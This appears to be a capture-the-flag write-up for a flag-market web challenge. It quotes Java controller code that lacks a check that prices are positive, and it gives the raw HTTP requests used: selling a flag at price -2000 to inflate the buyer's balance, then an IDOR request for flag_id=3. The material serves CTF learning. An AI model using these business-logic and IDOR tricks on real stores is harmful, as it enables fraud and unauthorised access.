The goal of the challenge was to buy a flag. However, our balance starts from 0.
We could see that when selling the flag, the relevant code does not validate that the flag price is positive.
@PostMapping("/sell")publicStringsellFlag(@ValidFlag flag,BindingResult bindingResult,Model model,Principal principal) {Flag flagExists =flagService.findByName(flag.getName());if (flagExists !=null) {bindingResult.rejectValue("name","error.user","There is already a flag with the name provided"); }if (principal !=null) {User user =userService.findByUsername(principal.getName());model.addAttribute("current_user", user);flag.setSeller(user);flagService.saveFlag(flag); }return"redirect:flag/"+flag.getSlug();}
We could thus sell a flag with a negative price. In the buyFlag function, this negative price is subtracted from buyerBalance, increasing the buyer's total balance.
POST /sell HTTP/1.1Host:flag-market.yactf.ruCookie:JSESSIONID=C711887D4DC8C674B65CEE65EE3E630DContent-Length:93Origin:https://flag-market.yactf.ruContent-Type:application/x-www-form-urlencodedConnection:close_csrf=...&price=-2000
2) Buy the flag from a second account
3) Perform a simple IDOR to get the flag with flag_id=3
POST /buy HTTP/1.1Host:flag-market.yactf.ruCookie:JSESSIONID=C748582E79B81447C43554243CCDC403Content-Length:52Origin:https://flag-market.yactf.ruContent-Type:application/x-www-form-urlencodedConnection:close_csrf=4ea95070-85b4-4f65-86f6-7c384cd5dbad&flag_id=3